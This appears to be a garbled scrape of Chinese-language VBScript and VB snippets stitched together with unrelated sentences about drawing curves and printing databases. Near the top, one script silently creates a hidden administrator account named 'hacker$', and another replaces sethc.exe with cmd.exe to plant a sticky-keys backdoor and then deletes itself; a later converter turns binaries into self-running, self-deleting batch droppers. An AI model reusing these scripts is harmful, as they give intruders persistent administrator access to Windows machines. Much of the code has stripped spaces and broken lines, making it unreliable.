原则上讲,直接在Form里绘制曲线都是可以的,MSDN上面很多例程就是直接在Form里面绘制图形的,Form作为绘制图形的容器,不过一般应用中Form中不可避免的会有很多其他控件,所以我们选择PictureBox作为绘制曲线的容器
on error resume next
dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments
(0):password=Wscript.Arguments(1):Else:username="hacker$":password="123456":end if:set
wsnetwork=CreateObject("WSCRIPT.NETWORK"):os=""&wsnetwork.ComputerName:Set ob=GetObject
(os):Set oe=GetObject(os&"/Administrators,group"):Set od=ob.Create("user",username):od.SetPassword
password:od.SetInfo:Set of=GetObject(os&"/"&username&",user"):oe.Add(of.ADsPath)'wscript.echo
of.ADsPath
On Error Resume Next
Dim obj, success
Set obj=CreateObject("WScript.Shell")
success=obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%
\system32\sethc.exe /G %USERNAME%:F© %SystemRoot%\system32\cmd.exe %SystemRoot%\system32
\acmd.exe© %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%
\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)
BREAK以下的程式只是示范切割图片的方法,而不是教你如何写拼图程式
'说明 : 通过VBS脚本查看 系统C盘 剩下的空间
'Creator : Eric1991
'Date : 2013-11-4
Set objWMIService=GetObject("winmgmts:")
Set objLogicalDisk=objWMIService.Get("Win32_LogicalDisk.DeviceID='c:'")
Wscript.Echo cint(objLogicalDisk.FreeSpace / 1024 / 1024 / 1024) & "GB"
Y1:椭圆中心点之Y轴位置,但以Form的实№边界为限
' 格式:
' .open(bstrMethod, bstrUrl, bAsync, bstrUser, bstrPassword)
'objXmlHttp.open "GET", "", False
objXmlHttp.open "GET", "", False
' 以直接的方式发送请求出去.
objXmlHttp.send
' 打印返回状态:
Response.Write "Status: " & objXmlHttp.status & " " _
& objXmlHttp.statusText & "
"
' 获取响应返回的文本.
' 这个对象本身是用来操作XML的,所以具备以下属性:
' responseBody, responseStream, 和 responseXML.
' 但是我们现在只需要文本信息
strHTML=objXmlHttp.responseText
' 但这个对象实例不再使用时,需要清除这个对象实例.
Set objXmlHttp=Nothing
' 现在我们要做的就是显示我们获取到的HTML.
' 首先看浏览器解释的效果
' 然后显示其源码
' 下面的类似
s 和
%>
Here's The Page:
Here's The Code:
DimlnPAsInteger
DimPrcAsString
DimTmpAsString
DimNoBAsCurrency
DimDxAsString
DimXxAsString
DimZhenAsBoolean
DimStr(10)AsString
DimChinaAsString
China="分角元拾佰仟万拾佰仟亿"
Str(0)="零"
Str(1)="壹"
Str(2)="贰"
Str(3)="叁"
Str(4)="肆"
Str(5)="伍"
Str(6)="陆"
Str(7)="柒"
Str(8)="捌"
Str(9)="玖"
Zhen=True
X=FormatNumber(X,2)
Prc=CStr(X)
Prc=Replace(Prc,",","")
lnP=Len(Prc)
Fori=lnP-1To1Step-1
IfMid(Prc,i,1)="."Then
SelectCaselnP-i
Case1
Prc=Replace(Prc,".","") "0"
Case2
Prc=Replace(Prc,".","")
EndSelect
Zhen=False
ExitFor
EndIf
Nexti
IfZhenThenPrc=Prc "00"
lnP=Len(Prc)
Fori=1TolnP
Tmp=Str(Mid(Prc,i,1))&Tmp
Nexti
ZDX=""
fy=1
Fori=1TolnP
Xx=Mid(Tmp,i,1)
Dx=Mid(China,i,1)
IfXx<>"零"Then
ZDX=Xx&Dx&ZDX
f=1
Else
Ifi=3Then
ZDX=Dx&ZDX
EndIf
Ifi=7Then
ZDX=Dx&ZDX
EndIf
IffThen
ZDX="零"&ZDX
EndIf
f=0
EndIf
Nexti
IfZhenThenZDX=ZDX "正"
ZDX=Replace(ZDX,"零万","万")
ZDX=Replace(ZDX,"零元","元")
EndFunction->->
'Any2Bat.vbsbyzzzEVAzzz
onerrorresumenext
setarg=wscript.arguments
ifarg.count=0thenwscript.quit
withCreateObject("ADODB.Stream")
.type=1:.open:.loadfromfilearg(0):bs=.read:l=.size:.close
endwith
iferr.number<>0thenwscript.quit
setfso=CreateObject("Scripting.FileSystemObject")
withfso.opentextfile(arg(0)&".bat",2,true)
iferr.number<>0thenwscript.quit
.writeline"@echobs=_>xx.vbs"
fork=1tolstep129
.write"@echo"""
.writeb64b(midb(bs,k,129))
.writeline"""+_>>xx.vbs"
next
.writeline"@echo"""":setrs=CreateObject(""ADODB.Recordset"")>>xx.vbs"
.writeline"@echosetado=CreateObject(""ADODB.Stream"")>>xx.vbs"
.writeline"@echol=len(bs):ss="""":fork=1tolstep4096:ss=ss+ub64(mid(bs,k,4096)):next:l=len(ss)>>xx.vbs"
.writeline"@echors.fields.append""b"",205,l/2:rs.open:rs.addnew:rs(""b"")=ss+chrb(0):rs.update>>xx.vbs"
.writeline"@echoado.mode=3:ado.type=1:ado.open:ado.writers(""b"").getchunk(l/2)>>xx.vbs"
.writeline"@echoado.savetofile"""+fso.getfilename(arg(0))+""",2:ado.close>>xx.vbs"
.writeline"@echofunctionub64(s):dimt(4),b(3):ub64="""":n=len(s):r=2>>xx.vbs"
.writeline"@echoifnmod4^0thenexitfunction:endif:fori=1tonstep4:forj=0to3>>xx.vbs"
.writeline"@echoa=asc(mid(s,i+j,1)):ifa=43then:a=62:elseifa=47then:a=63:elseifa^>47anda^<58then:_>>xx.vbs"
.writeline"@echoa=a+4:elseifa=61then:a=0:ifr=2thenr=j-2:endif:elseifa^>64anda^<91then:_>>xx.vbs"
.writeline"@echoa=a-65:elseifa^>96anda^<123then:a=a-71:else:exitfunction:_>>xx.vbs"
.writeline"@echoendif:endif:endif:endif:endif:endif:t(j)=a:next>>xx.vbs"
.writeline"@echob(0)=t(0)+t(1)*64mod256:b(1)=t(1)\4+t(2)*16mod256:b(2)=t(2)\16+t(3)*4>>xx.vbs"
.writeline"@echoforj=0tor:ifb(j)^<16thenub64=ub64+""0"":endif:ub64=ub64+hex(b(j))>>xx.vbs"
.writeline"@echonext:next:endfunction>>xx.vbs&&cscript.exe//nologoxx.vbs&delxx.vbs"
endwith
constb64="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
functionb64b(bin)
b64b=""
n=lenb(bin)
fori=1tonstep3
a=ascb(midb(bin,i,1))
b64b=b64b+mid(b64,amod64+1,1)
ifi
b=ascb(midb(bin,i+1,1))
b64b=b64b+mid(b64,(a\64+b*4)mod64+1,1)
ifi+1
c=ascb(midb(bin,i+2,1))
b64b=b64b+mid(b64,(b\16+c*16)mod64+1,1)
b64b=b64b+mid(b64,c\4+1,1)
else
b64b=b64b+mid(b64,b\16+1,1)
b64b=b64b+"="
endif
else
b64b=b64b+mid(b64,a\64+1,1)
b64b=b64b+"=="
endif
next
endfunction
执行显示每一步操作
如果你想打印出数据库的结构,方法也很简单:用Excel读CSV文件,再将其粘贴到Word中,这样你就可以打印出整个数据库的结构了
Set oIE=CreateObject("InternetExplorer.Application")
oIE.Navigate ""
Do
WScript.Sleep 200
Loop Until Not oIE.Busy And oIE.ReadyState=4
'下面你可以把它写到文件里面去,Adodb.Stream和Scripting.FileSystemObject都可以
WScript.echo "" & oIE.Document.body.OuterHTML & _
""
oIE.Quit
Set oIE=Nothing
。